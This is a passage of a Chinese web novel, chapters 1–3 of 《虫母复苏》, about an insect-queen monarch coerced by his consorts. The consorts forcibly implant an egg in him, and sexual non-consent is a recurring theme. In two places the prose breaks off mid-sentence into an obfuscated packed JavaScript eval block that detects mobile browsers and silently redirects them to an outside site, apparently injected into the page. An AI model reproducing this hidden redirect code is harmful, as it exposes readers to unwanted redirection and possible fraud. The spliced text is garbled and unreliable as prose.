《虫母复苏》 1. 第 1 章 阿斯兰醒过来的时候,掌心下压着一截雪长的白发。 他发现自己做了梦。 这本身就很奇怪,他从来不做梦。 斐涅尔人的睡眠是纯然的黑暗,意识会在那时候的断片,从闭上眼睛到睁开眼睛,是一段完整的黑暗。 但他刚才确实做了梦,梦里有光,有声音,有很多他看不清面目的虫跪在很远的地方,齐声喊着什么。 阿斯兰从床上坐起来,披上外袍,赤脚走下去,尾巴随意地拖在地毯上。 星网上说,斐涅尔的王是个暴君。 他冷漠,残忍,高高在上,将整片星域视作私产,把每一个斐涅尔人当作脚下的蝼蚁。 什么斐涅尔人?都是虫族,给自己起了个好听的名字,就能改变虫族本身与人类相悖的残暴本性吗? 阿斯兰靠在寝殿的露台边,漫不经心地眺望着。 巨大的落地窗外,是整座王城的夜景,远处是王都绵延的银白色建筑群,在月亮清冷的光辉下泛着微光,像一座巨大的陵墓,无数灯火如星子般铺展,一直延伸到天际线。 那是他的领土,他的资产,他的子民。 这片星域里每一个斐涅尔人,从刚破壳的幼体到征战百年的军虫,名义上都是他的资产。 他拥有无数位王夫——这是斐涅尔人奉行至今的传统,王的配偶越多,族群越稳固。 至于暴君…… 阿斯兰低低地笑了一声,银发垂落,发尾堆在地上,缠成一缕一缕的,遮住大半张脸,只露出苍白得近乎透明的下颌。 窗外倒映出他的面容,过分年轻,过分苍白,过分美丽,银色的眼睫低垂,遮住眼底那片没有任何情绪的空茫。 他盯着那些发丝看了几秒,然后动了动手指,将一缕缕白发捋到脑后。 阿斯兰懒得解释,也不想解释。 史书由胜利者书写。 而他的“胜利”,从一开始就注定了必败的结局。 系统在他十七岁那年找上他,用不带感情的机械音宣告了他的命运: [检测到宿主体内血统纯度低于阈值,孕囊发育不良,卵子活性不足,受孕概率低于种族平均值的3.7%,无法自主产卵,斐涅尔人不会允许这样一只虫母做王。 您的现任配偶数量:七十三。 预计背叛时间:三年至五年。 背叛原因:斐涅尔人的纯血继承者即将诞生,祂会继承远古虫族的血脉,以原始虫族的形象出现,杀了你。] 三年? 五年? 不,他等了七年。 那所谓的纯血继承者至今没有出现,而他的王夫们依然准时出现在他的寝殿,带着那种混合了渴望与狂热的眼神,在他面前跪下,亲吻他脚下的地面。[审核员,这是亲地面,亲地面也不行吗?] 不是因为爱。 是因为蜜。 阿斯兰抬起手,手指按上左侧的颈侧。[审核员请你看好,这是脖子旁边的腺体产生的虫蜜。] 脖子侧面正在缓慢地分泌金黄色的粘稠浆液。 王蜜。 斐涅尔战士赖以维持精神稳定的必需品。 前线厮杀越久,他们的精神负荷越重,对王蜜的渴求就越强烈。 而他是整个种族史上产蜜量最高的王,高到无法预计。 讽刺吗? 他是产子能力最低下的王,一个畸形的,坐在王座上的残次品,却用这种方式将整个族群拴在身边。 医生们给他提交了无数报告,建议王适当增加与王夫的相处时间,以促进信息素交流。 阿斯兰当时把报告折成了一只纸鹤,从窗口扔了出去。 他不知道那只纸鹤最后落在了哪里,或许是某个侍卫的脚下,或许是花园的喷泉里,又或许,被某个王夫捡到,珍而重之地藏进胸口。 那些人总是这样,捡到他随手丢弃的东西,就像捡到无上的恩赐。 阿斯兰冷淡的面容再也染不上一丝温度,冰冷地如同月光。 身后忽然传来脚步声。 阿斯兰没有回头。 “陛下。” 雄虫的声音低沉浑厚,铿锵有力,像是刻意压制的恭敬,因为他平时说话根本就像个疯子,一点也不正常。 对方是第七军团的军团长,埃德蒙,在他七十三位王夫中排名第四十二位,也是最近三个月来得最勤的一个。 “今晚不是你的轮值。”阿斯兰没有转身,语气淡淡的,“我用不到你。” “陛下,我在前线刚退下来,”埃德蒙嗓音低沉而轻柔,其中包含的意味却带着浓烈的戏谑意味,“精神负荷超标,我需要您的蜜滋养精神力。” 阿斯兰终于转过身。 月光下,年轻的君王靠在露台边缘,银发如瀑,披至脚下,眉眼生得极淡,像是被霜雪浸透的远山。 他的五官并不锋利,甚至称得上柔和,但那双眼睛—— 那双眼睛是空的。 空的,冷的,像两颗被抽走温度的冰晶,看着眼前的雄虫,像看一件家具。 “过来。”阿斯兰淡淡地说。 埃德蒙脱下外套,从容地走上前。 他是久经沙场的战士,身高超过两米,肩背宽阔,腰臀窄劲,长腿如同螳螂,但在虫母那双眼眸的注视下,他垂下视线,单膝跪地,姿态驯服得像一头被驯化的野兽。 “妈咪。” 他巧妙地转换了称呼,“妈咪”比“王”“陛下”更亲昵。 可是阿斯兰没有让他起身。 只有一只苍白细长的手伸过来,落在埃德蒙额角。 指尖微凉,若有若无的王蜜香气从他的腺体渗出,通过衣袖管融进空气里,被雄虫深深地吸入肺腑。 埃德蒙咬住了他的手腕,在甜香灌满喉咙心肺时,呼吸重了一瞬再一瞬,双眸骤然火红滚烫。 “……” 喉咙间发出野兽般的呼噜,野蛮粗鲁,虫翅霸道狂野占据了阿斯兰整片视野。 “前线怎样?”阿斯兰漫不经心地问。 “一切顺利。”埃德蒙的声音有些哑,“只是星兽攻势猛烈……我们……我们的精神负荷累积太快,军团的兄弟们都在等下次补给……妈咪,您该快点挤出蜜液……我这次回去,正好把蜜全都带回去。” 阿斯兰的指尖顺着他的额角滑下,掠过锋利的眉骨、俊朗的脸颊,最后停在他的下颌。 “抬头。” 埃德蒙顺势抬头。 他的眼神复杂——有渴望,有压抑,还有一些更深的东西,像是被囚禁太久的困兽,在笼子里磨着爪牙。 阿斯兰见过太多这种眼神。 他的数不清的王夫们,每一个都这样看过他。他们跪在他脚下,亲吻他走过的地面,用最虔诚的姿态表达忠诚,眼底却藏着同样的东西—— 占有欲。 那是雄虫对虫母的本能。 斐涅尔人从虫族进化而来,基因深处刻着对“王”的绝对服从,也刻着对繁衍的原始渴望。他们需要他,依赖他,却又本能地想要掌控他、占有他、将他锁在身边只为自己产蜜产卵。 尤其是当他身为残次品,再也无法自主产卵之后。 阿斯兰垂下眼。 这个动作让他的睫毛在月光下落出片片的阴影,簇簇落在眼睑上,如同蝶翼。 “今晚没有蜜。”他说:“挤不出来。” 埃德蒙的眼神暗了暗:“妈咪——” “我说没有。”阿斯兰收回手,转身向寝殿内走去,倦怠冷肃的语气,“你可以走了。” 身后沉默了几秒。 然后他听到埃德蒙站起身的动静,听到脚步声跟在身后。 不是离开,是靠近。 阿斯兰没有停。 手腕被握住的那一刻,他依然没有回头。 “陛下。”埃德蒙的声音在身后响起,低哑,压抑到极限的颤意,“您知道我们忍得有多辛苦吗?您在后方甚至感受不到痛意,您很安全,不会受伤,战士们只需要您付出一点蜜,您不可以吝啬。” 阿斯兰低头看着那只握着自己手腕的手。 雄虫的体温比人类形态的他要高,掌心干燥滚烫,像一块烧红的铁,烙在他冷了一天的皮肤上。 “放手。” “我知道您不喜欢这样。”埃德蒙没有放,反而握得更紧,“您从来不喜欢被碰触,不喜欢被靠近,不喜欢任何虫离您太近。可您是我们的王,是我们唯一的信息素来源。” “所以呢?”阿斯兰终于回过头。 月光从露台倾泻进来,照亮他的侧脸。 依然是那副淡淡的神情,依然是那双空落落的眼睛。 “所以你们就该碰我?在没有得到我允许的情况下就和我上床?强行用软管把你们的克隆卵塞进我的孕囊里?让我给你们生虫子?” 埃德蒙的喉咙动了动,顿了顿,像是在寻找一个合适的词,“王,所有斐涅尔人都需要您。” “需要我?”阿斯兰嘴角弯了弯,弧度浅得几乎看不见,“不是需要我,是需要我的蜜,需要我的腺体,需要我的信息素为你们维持精神稳定,需要我的孕囊给你们产卵,甚至需要我给你们的克隆子代喂蜜。” 阿斯兰轻声问:“我再问一次,埃德蒙,你们到底是需要我这个人,还是需要我这具虫母的身体?” 埃德蒙没有说话,但他的眼神替他回答了。 他们都需要。 阿斯兰轻轻抽回手,这一次埃德蒙没有坚持,任由他的手腕从掌心滑落。 “你可以用强。”年轻的君王站在那里,姿态疏离得像隔着一层冰霜,“你们所有人都可以强。我只是虫母,我没有能力管制你们的群体精神力,我不能反抗,你们都知道。” 埃德蒙眸光森森沉沉地望着他。 “但你们不敢。”阿斯兰似笑非笑地说,“因为你们需要我活着,需要我的腺体继续分泌蜜,强行标记会让我崩溃,会让我的信息素紊乱,再也产不了蜜——你们冒不起这个险,你们这群孬种,废物,滚!” 阿斯兰转过身,向寝殿深处走去,背影在月光下显得过分单薄。 “回去告诉其他虫,”他的声音飘回来,淡得像一阵风,“想要蜜,就继续等着。想要别的,想都别想,除非——” 他没有说完。 但埃德蒙听懂了:除非对他用强,否则不会得手。 他站在原地,看着那道银白色的修长身影消失在寝殿深处,很久没有动。 * 阿斯兰走回书房,合上门,隔绝了那道灼热的视线。 他坐在桌前,面前是堆积成山的文件,每一本都不是他批阅的,他只需要亲手盖章,装模作样的。 雄虫把持着帝国的朝政,他不能产卵,他就是王座上的傀儡,空有虚名。 阿斯兰懒得看,他缓缓闭上眼睛。 【叮,检测到关键节点:王夫埃德蒙忠诚度降至临界值,叛变概率上升至78%,建议宿主提前做好心理准备。】 阿斯兰没有理会:早就准备好了。你答应我的死遁还算数吗? 【算数的!提醒宿主,根据原定轨迹,第一次叛变将发生在三个月后,如果进度提前,可能导致最终结局偏移,您就不能死遁啦!】 阿斯兰懒散地问:“偏移?往哪儿偏?” 系统沉默了一瞬:【对不起,我也无法预测。妈妈不爱虫,是虫族最大的折磨,他们做的一切,也都是想逼迫你爱上他们,因为他们太爱你了,如果长时间得不到你的爱,他们会比吃不到蜜基因崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248826|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解还痛苦,如果你爱他们,他们会晚一点叛变。】 阿斯兰轻轻笑了一声,嘴角微微牵动,一潭死水般:“没必要,就知道说废话惹我心烦。” 阿斯兰的左手用力地按上小腹。 用力压怎么了? 压流产最好,反正他也不想产卵,给那些脏虫子们生虫崽。 隔着柔软的袍子衣料,他能感觉到那个位置微微隆起。 自然不是孕囊孕育的爱情产物,是三天前被强行放入的其他雄虫的克隆基因虫卵。 这颗不属于他的血脉的虫卵,此刻正安静地躺在他体内,汲取着他的养分缓慢生长,等到时间到了,再由身体通过甬道自主排出。 虫族把这个过程称之为“出生”。 阿斯兰冷笑。 那是第四军团长莱昂的手笔。 莱昂也是他的一位王夫,在“轮值”时不顾他的抗拒,用雄虫天生的力量优势压住他,掰开他的腿,顺着和尾巴相连的那条甬道,将虫卵塞进了他的孕囊。 “我爱您,妈咪。” “虽然您不能产卵,但是没关系,”那个雄虫在高傲的虫母耳边说,气息滚烫,“我来帮您。您只需要准备好肚子,把您的孕囊空下来,为我养着卵就行。” 阿斯兰当时没有挣扎。 他知道挣扎没有用。 他只是冷冷地看着对方,看着那张因为信息素刺激而微微扭曲的脸,看着他眼底燃烧的病态的占有欲。 事后那个雄虫跪在他床前请罪,亲吻他的脚背,发誓永远效忠。 阿斯兰踩着他的脸,冷着眼,没有拆穿他。 拆穿有什么用呢? 他是王,也是囚徒,是整个斐涅尔族群赖以生存的信息素源,也是他们争抢、觊觎、想要独占的猎物。 他们跪在他面前,眼底的欲望却比谁都烫。 他需要他们,就像他们需要他。 但他和他们不一样。 他在等。 等一个足够戏剧性的死亡,等一个能够彻底逃离的机会。 系统答应他了。 孕囊里的虫卵动了动,像是感受到了他情绪的变化。 阿斯兰睁开眼睛,低头看着自己的小腹。 月光透过窗棂落进来,在银白色的衣料上投下光斑,他想起七年前系统说的话,想起那个预言中的“纯血继承者”,想起那些终将杀死他的王夫们。 可七年过去了。 纯血没有出现,王夫们也没有动手。 他们只是变本加厉地靠近他、索取他、用各种方式想要占有他。 阿斯兰也并非毫无反击的能力。 他用信息素将他们拴在身边,用王蜜让他们上瘾,用那具他们渴求却永远无法真正掌控的身体,将他们玩弄于股掌之间。 谁是猎物,谁是猎人? 再等一等,等他找到那条逃离的路,他会头也不回地离开。 阿斯兰按着小腹的手冷冷收紧。 里面的虫卵被他勒得有些变形,微微颤抖着,像是在向心狠手辣的妈妈求饶。 阿斯兰安静地站在那里,像一座月光下的冰雕。 “别急,宝宝,”他轻声说,像是对虫卵说,又像是对自己说,“还不到时候,你想流产,要经过妈妈的同意,尽管妈妈并不爱你,你知道的吧?” 虫卵似乎在哭泣,因为妈妈不爱它,可它永远爱妈妈。 夜色愈发深沉。 阿斯兰在窗前站了很久,久到尾巴的隐秘处开始隐隐发烫。 那是无法忽视的生理反应,是信息素积累到一定浓度后的本能渴求。 他的身体在渴望交尾,渴望被填满,渴望那些粗暴的、野蛮的、毫无温情的侵略。 这是他的诅咒。 产子率低下的代价,是产蜜量高到无法控制。 王蜜需要信息素激发,而信息素最浓郁的时刻,是那些时候。 所以他来者不拒。 他的王夫们以为自己在享用他,以为是自己的勇猛和魅力征服了这位高高在上的王。 他们不知道,在阿斯兰眼里,他们不过是一群主动送上门的、会呼吸的按/摩/棒。 他用他们缓解生理的饥渴,用他们填补信息素的空缺。 然后,亲眼看他们一个个从狂热走向绝望,从爱慕走向憎恨,最后,走向那个注定的结局。 【宿主,您应该休息了,】系统的声音难得地带了一丝犹豫:【虫卵受不了您的情绪波动,它在哭呢。】 “那和我有什么关系?” 阿斯兰冷冷地转过身,寝衣的下摆随着动作轻轻摇曳,露出两条匀称修长的腿。 他走向另一侧的门,那里通向他的私人空间,一个没有任何王夫踏足过的区域,他不喜欢被窥视取蜜的过程。 推开门的瞬间,一股清冷的空气涌出,房间里陈设简单,最显眼的是一张躺椅,旁边摆着精密的仪器。 阿斯兰在躺椅上躺下,面无表情地按下收集虫蜜的启动键。 纯血新王即将出现,这一切总会结束的。 阿斯兰的意识渐渐模糊,坠入一片没有光亮的黑暗。 * 监控的另一端,屏幕的微光映在埃德蒙眼底,他眼睁睁看着澄黄的蜜被机器取出,灌装进一个个保鲜罐,送往战场。 他看着那截苍白的颈,看着衣料下微微隆起的弧度——那里怀着另一个雄虫的卵。 如果那里睡的是我的虫卵呢? 念头刚一冒出来,就像虫母的甜香一样渗进四肢百骸,烧得他眼眶发烫。 我的血脉,在他的孕囊里慢慢长大。 埃德蒙抬手,隔着屏幕,虚虚落在虫母的小腹上。 ——让他怀上我的卵,他会不会就会爱我? 2. 第 2 章 阿斯兰躺在床上,一夜未眠。 孕囊里的虫卵在午夜时分开始躁动,像一颗埋得太浅的种子,拼命想要扎根,又像一枚烧红的铁球,在他孕囊里缓慢地翻滚。 他蜷缩在床榻上,额头抵着凉凉的丝枕,指节攥得青白,却强忍着没有发出声音。 斐涅尔王不需要让虫听见他的脆弱。 天快亮的时候,躁动终于平息,虫卵安静下来,老老实实地开始汲取养分——它赢了,它成功在虫母的体内扎下了根。 阿斯兰闭着眼睛,感觉到孕囊缓缓收紧,将那颗不属于他的种子包裹得更深。 他应该愤怒。 但他只是疲惫,疲惫到连愤怒的力气都没有。 晨光从窗棂的缝隙漏进来,落在床榻边缘,像一条细细的金线。 阿斯兰盯着那条线看了很久,直到它慢慢变宽、变亮,最后铺满半个寝殿。 有虫敲门。 “陛下,晨议的时间到了,您准备好了吗?” 是内侍的声音,恭敬的,小心翼翼的,带着斐涅尔人对王一贯的畏惧。 阿斯兰没有动。 “陛下?” “知道了。” 阿斯兰的声音沙哑得厉害,像一夜没睡好。 门外的内侍停顿了一下,似乎想说什么,最终还是安静地退下了。 阿斯兰撑起身子。 银发散落,纠缠在肩头、后背、枕席之间。 他低头看了一眼自己——衣襟敞开,露出苍白的胸口,小腹微微隆起,弧度浅得几乎看不出,但按压时会感觉到明显的硬块和温热。 他伸手按了按。 孕囊里的虫卵动了一下,像是在回应。 “急什么。”他低声说,语气淡淡的,“还要养你三个月,就算我想提前杀了你,也得有个理由吧?” 虫卵立刻不动了。 阿斯兰扯了扯嘴角,也不知道是在笑自己还是在笑它。 都是身不由己的人啊。 * 按照惯例,阿斯兰在位时期,一切晨议都在议事厅举行。 说是议事厅,其实更像一个巨大的开放式露台,三面环空,正对着王都绵延的建筑群,满足了斐涅尔人喜欢保持原始体态的生理需求。 斐涅尔人曾经是虫族,虽然被改造后拥有了人形,但仍然像远古虫族一样在喜欢高处,喜欢开阔,喜欢在任何地方都能俯瞰领土的感觉——这是虫族的本能,刻在基因里,改不掉。 阿斯兰坐在主位上,冷漠而倦怠地看着下面。 王座是由一整块黑曜石雕成的,冰冷坚硬,没有任何软垫,脚下是层层台阶,围绕着雪白的花束。他坐上去的时候后背抵着石面,凉意透过薄薄的衣料渗进皮肤,让他清醒了几分。 七十三位王夫没有到齐。 这是常态,有人在前线,有人在驻地,有人在星域边缘执行任务,他们全部身居高位,权势滔天,手握权柄。 真正能出现在晨议上的,不过二十余人。 但这二十余人,已经足够让整座议事厅的空气变得微妙。 阿斯兰垂着眼,看着那些人在他面前依次行礼。 埃德蒙站在左侧第三排,昨晚才被他赶走,今天又来了,眼下的青黑遮都遮不住。 他的视线落在阿斯兰身上,克制而灼热,像一块烧过的炭,余温未散。 右侧第一排站着的是第四军团长莱昂——三天前强行将虫卵塞进他孕囊的那个人。 他比埃德蒙高一些,面容更冷,一双深灰色的眼睛看人的时候像在看猎物。此刻他正盯着阿斯兰的小腹,目光在那片微微隆起的区域停留了一瞬,然后移开,若无其事。 阿斯兰知道他在看什么。 他在看那枚虫卵还在不在,有没有被排异,有没有成功扎根。 “陛下,这是前线战报。” 站在最前面的内侍展开一份文件,“第七军团在奥尔德林星域遭遇不明舰队袭击,请求增援。第四军团已完成补给,三日后可出发支援。第三军团——” “奥尔德林?”阿斯兰打断他。 内侍愣了一下:“是的,陛下。” 阿斯兰没有继续问。 他只是抬起眼,看向站在左侧的埃德蒙。 埃德蒙昨晚才从前线退下来,说他精神负荷超标,需要王蜜,今天战报就说第七军团遭遇袭击——如果第七军团的主力都在前线,那埃德蒙是怎么独自回来的? “你回来的时候,战况如何?”阿斯兰问。 埃德蒙垂下视线:“回陛下,一切正常。” “一切正常,”阿斯兰重复了一遍,“正常到你们军团在你离开后立刻遭遇了不明舰队?” 大殿里安静了一瞬。 埃德蒙抬起头,对上他的视线:“陛下是在怀疑我?” “我在问你。” 两人的目光在空中相撞。 埃德蒙的眼神很复杂——有压抑,有隐忍,还有一些更深的东西,像是被逼到墙角的困兽,既不敢反抗,又不甘心认输。 “我回来是因为精神负荷超标。”他说,一字一顿,“军团给我的假条上有军医的签字,陛下可以查验。” “我会的。” 埃德蒙的喉结动了动。 他没有再说话,只是垂下眼,重新退回到队列中。 但阿斯兰看见了他垂在身侧的手——那只手握成了拳,青筋暴起,虫翅都快要竖起来了。 他在忍。 忍什么? 忍被质疑的愤怒,忍被当众质问的难堪,还是忍—— 阿斯兰满不在乎地移开视线:“继续。” 内侍咳了一声,继续念战报。 但气氛已经变了,原本就微妙的气流变得更加滞重,沉闷至极。 战报念完的时候,莱昂站了出来:“陛下。” 阿斯兰冷冷地看着他。 莱昂单膝跪下,姿态恭敬得像一尊雕塑:“我有事情想要向陛下启奏。” “说。” “关于王储的事。” 大殿里静了一瞬。 阿斯兰的睫毛动了动,但他脸上什么表情都没有:“什么王储?” “斐涅尔人需要继承者。”莱昂抬起头,深灰色的眼睛直直地看着他,“陛下无法自主产卵,这是事实。但斐涅尔不能没有王储——这是整个族群的事,不是陛下一个人的事。” “所以呢?” “所以臣斗胆,”莱昂的声音低沉平稳,听不出任何情绪,“恳请陛下允许所有王夫共同参与王储的孕育。” 所有王夫。 共同参与。 阿斯兰听懂了。 不是请求,是逼迫。 是让他敞开孕囊,任由所有雄虫轮流将虫卵塞进去,直到其中一枚成功扎根、破壳、成为下一任王。 他没有说话,只是安静地看着莱昂,看着那张恭敬的、忠诚的、没有任何破绽的脸。 “三天前,”他开口,声音很轻,“你往我孕囊里塞了一枚卵。” 莱昂微微抬起了眉,锋利长眉压着复眼,森冷的瞳孔冷厉异常。 阿斯兰说:“我没允许过你逼迫我怀孕。” “臣——” “闭嘴,我没让你解释。”阿斯兰打断他,“我只是在陈述一个事实,你听不懂?” 他站起身,银发垂落,衣摆拖曳在黑曜石地面上,窸窣作响。 他走下台阶,一步一步,走到莱昂面前。 年轻的君王低下头,看着跪在脚边的雄虫。 “你塞的那枚卵,”他说,“还在我孕囊里。” 莱昂抬头看着阿斯兰,看着阿斯兰一巴掌扇向自己的脸。 啪! 莱昂被迫移开视线,凶悍狠厉的复眼在一瞬间收缩成针,他垂了垂头,触须在轻轻震颤着。 “陛下打得好。”莱昂满是调侃的语气,“再打一巴掌?狠一点,把我的头打掉,把我的脸打烂?” 莱昂胸口的衣料被腹肢撕裂开,他用触腕轻轻卷住了虫母的脚,然后满意地看着阿斯兰把他的触腕狠狠踩在脚下。 “你的卵,它在吸收我的养分,在长大,在变成你的后代。”阿斯兰的声音很轻,轻得像一阵风,“你觉得我应该高兴吗?” 莱昂只是微笑,没有说话。 “我应该感谢你吗?”阿斯兰弯下腰,凑近他的耳边,“感谢你帮我完成我做不到的事?” 他的气息拂过莱昂的耳廓,带着若有若无的蜜香。 莱昂的呼吸乱了一瞬:“陛下……您可是,不能怀孕的虫母啊。” 阿斯兰没耐心了:“用你说吗?给我抬头。” 莱昂顺势抬起头,眉头轻蹙,却用满是侵略性的眼神看着阿斯兰。 阿斯兰的脸近在他眼前。 银发垂落,将两人笼在一片小小的阴影里。那双眼睛依然是空的,冷的,拒人于千里之外的,但此刻里面多了一点别的东西——一丝若有若无的笑意。 “你想要我的感谢?”他问。 莱昂的喉结滚动了一下:“臣不敢。” “是不敢,还是不想?” 莱昂没有回答。 阿斯兰盯着他看了几秒,然后直起身,向后退了一步。 “你的卵我会留着。”他说,语气恢复冷淡,“但仅此一枚。再敢塞第二次,我会不顾军团的规矩,把你杀了当肥料。” 莱昂轻笑,勾了勾唇角,低下头:“臣……明白。” 晨议结束的时候,太阳已经升到了半空。 阿斯兰回到寝殿,屏退所有侍从,一个人站在露台上。 风从远处吹来,带着王都的冷风,拂过他的脸颊、发丝、敞开的衣襟。 他低头看了看自己的小腹。 孕囊的位置比昨天更明显了一些。 那枚虫卵在吸收了一整夜的养分之后,已经稳稳地扎下了根,开始缓慢地生长。 三个月后,它会破壳,会变成一个幼小的斐涅尔人,有莱昂的手,他的眼睛,骨架和深灰色的瞳孔。 那是莱昂的孩子。 虽然阿斯兰从没想要过。 他今天没有给任何人蜜——埃德蒙没有,莱昂没有,那些用渴望的眼神看着他的王夫们都没有。 他们忍得很难受。 他知道。 信息素依赖不是开玩笑的事,那些长期在前线厮杀的精锐,精神负荷累积到一定程度,如果长时间得不到王蜜,会陷入疯狂,会基因崩解,会变成一滩没有意识的烂肉。 所以他从不一次给够。 他让他们渴着,让他们忍着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248827|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他们在每一次靠近他的时候都像瘾君子看到毒/品一样,眼神灼热,呼吸粗重,却又不敢轻举妄动。 这是他的筹码,也是他的囚笼。 他需要他们,所以他们不能死。 但他们需要他,所以他们必须跪着。 阿斯兰放下手,把沾满蜜的手掌按在了自己的小腹上。 王蜜透过薄薄的衣料渗进皮肤,被孕囊吸收。 里面的虫卵动了动,像是尝到了甜头,贪婪地汲取着。 阿斯兰闭上眼睛。 “吃吧,”他轻声说,“吃够了,才好上路。” 身后传来脚步声,他没有回头。 阿斯兰:“谁让你进来的?” 没有人回答,但脚步声没有停,一步一步,越来越近。 阿斯兰皱起眉,转过身—— 一双手臂从身后环过来,将他整个人箍进一个滚烫的怀抱里。 “陛下。” 是莱昂的声音,低哑的,颤抖的,像是压抑了太久终于决堤的洪水。 “您今天当众下了我的面子,还给了我脸色看,却没有给我蜜。” 阿斯兰没有挣扎。 他只是低下头,看着那双环在自己腰间的手——那双手在抖,像是用尽了全身力气才克制住没有收紧。 “所以呢?”阿斯兰问。 “所以我自己来取。” 莱昂的声音闷在他耳边,气息滚烫,喷在他的颈侧。 脖子处是王蜜的香气最浓郁的地方,也是所有雄虫最渴望碰触的地方。 阿斯兰蹙眉:“你敢?” “我不敢。”莱昂的手臂收紧了一点,“但我忍不住了。” 阿斯兰沉默了几秒。 然后他笑了,很轻的一声笑,“你知道昨晚埃德蒙来找过我吗?” 莱昂歪了歪头,“他找陛下,难道也是想把自己的卵塞进陛下的孕囊里?” “他没你这么卑鄙,他在门外站了很久。”阿斯兰的声音淡淡的,“就像你现在这样。” “……” “你们都是一个德行。”他抬起手,按上莱昂环在自己腰间的手,“想要,又不敢要。忍,又忍不住。最后只能这样——从背后抱着我,闻着我的信息素,像两只恶心的原始虫族。” 莱昂没有说话。 但他的呼吸越来越重,越来越烫,像是下一秒就要烧起来。 “陛下,”他的声音沙哑得像砂纸,“您知道我们为什么会疯吗?” 阿斯兰没有回答。 “不是因为信息素。”莱昂说,“是因为您。您这个人,您这副冷淡的样子,您永远高高在上看着我们的眼神,您越是不理我们,我们越想要您。” 阿斯兰垂下眼:“说完了?” “没有。”莱昂的手臂骤然收紧,将他整个人转过来,面对着自己。 年轻的君王被箍在雄虫怀里,被迫抬起头,对上那双燃烧着病态占有欲的眼睛。 “您想逃,”莱昂盯着他,“我看得出来。您一直在想怎么逃,怎么离开这里,怎么摆脱我。” 阿斯兰没有说话。 “但您逃不掉的。”莱昂一字一顿,“您越是想逃,我越要把您锁在身边。您越是冷淡,我越想让您只看着我一个人。” 他的拇指按上阿斯兰的颈侧,按在那块正在分泌王蜜的皮肤上。 “您知道最可笑的是什么吗?” 阿斯兰看着他。 “最可笑的是,”莱昂低下头,凑近他的耳边,声音低得像一声叹息,“我们明明知道您在利用我们,在用信息素控制我们,在把我们当狗一样遛,可我们还是离不开您。” “……” “离不开您的蜜,离不开您的信息素,”他的嘴唇贴上阿斯兰的耳廓,“更离不开您这个人。” 阿斯兰闭了闭眼睛。 “说完了?”他问。 莱昂没有说话。 “说完了就放手。” “不放。” “莱昂。” “您叫我名字的时候真好听。”莱昂的声音闷在他耳边,带着一丝病态的餍足,“再叫一次。” 阿斯兰沉默了。 他沉默了很久。 久到莱昂以为他不会回答,久到他自己都觉得这个沉默太过漫长,然后他抬起手,按上自己的后颈。 像安抚,像施舍,像给一条渴了太久的狗一点甜头。 “你想要我?”阿斯兰的声音在耳边响起,淡淡的,听不出任何情绪,“那就好好跪着。” 他的手指顺着莱昂的后颈滑下,落在他肩胛骨之间,按住了他的虫翅。 “你就跪到我满意为止吧。” 莱昂兴奋地舔了舔嘴唇,呼吸骤然粗重起来,双眸红透,“好。” 他慢慢松开手,向后退了一步。 然后他跪下了,单膝跪地,像每一次在晨议上觐见王一样,姿态驯服,眼神虔诚。 但阿斯兰看得见,看得见他眼底那团烧得更旺的火,那团火在说:你等着。 阿斯兰低下头,对上他的视线。 风从露台吹进来,扬起他银白的长发。 莱昂跪在那里,仰着头看他,像仰望一尊遥不可及的神像。 又像在盯着一只迟早会落进陷阱的猎物。 3. 第 3 章 太阳从半空挪到西边,露台上的光影从金色变成橘红,最后染上一层薄薄的暮色。 莱昂就那样跪着,一动不动。 阿斯兰没有看他。 三个小时里,他们没有说话。 但他们中间有东西在流动——信息素,欲望,克制,还有某种说不清道不明的较劲。 莱昂在忍。 忍膝盖传来的酸痛,忍腰背渐渐僵硬的疲惫,忍腺体对王蜜的渴求像无数只蚂蚁在血管里爬行。 但他更难忍的是看他。 看他慵懒地靠在软塌上,看他银发散落满肩,看他抬手撩起垂落脸颊的发丝时露出的苍白手腕。 每一眼都是煎熬,每一眼都让他更渴。 阿斯兰终于转过头:“三个小时了。” 莱昂的喉咙动了动:“是。” “还能跪吗?” “能。” 阿斯兰看着他,“滚过来。” 莱昂站起来,膝盖明显僵了一下——以人类的形态跪了这么久,换了谁都一样。 但他快步走到软塌前,单膝跪下:“陛下。” 阿斯兰伸出手,按上他的后颈。 那只手很凉,凉得像一块刚从冰窖里取出的玉。但当它贴上皮肤的那一刻,莱昂整个人都放松了——像渴了太久终于碰到水源,像困了太久终于可以闭上眼睛。 “你在抖。”阿斯兰居高临下地说。 莱昂这才意识到,自己的肩膀在微微颤抖。 阿斯兰的手指顺着他的后颈向上,插入他的发丝,轻轻地,慢慢地,像是在抚摸一只太过紧张的野兽:“前几天逼着我怀孕的时候,你不是很硬气吗?” 莱昂的呼吸重了,但他没有动。 他就跪在那里,任由那只手在自己发间游走,任由那凉意渗进皮肤,渗进血管,渗进那颗烧了许久的心。 窗棂上挂着轻薄的纱帘,将暮色滤成一片柔和的昏黄。 阿斯兰背对着他,解外袍的系带。 银白色的衣料从肩头滑落,堆在脚边。 然后是内袍。 莱昂的呼吸停了。 君王站在暮色里,肩胛骨的轮廓过分清薄,脊柱的凹陷一路向下,消失在腰线以下。 他的皮肤白得透明,像从未被阳光照拂过的雪原。 但莱昂的视线没有停留在那些地方。 他盯着阿斯兰的孕肚。 那里微微隆起,皮肤泛着淡淡的粉色——那是孕囊所在的位置,是他的虫卵扎根的地方。 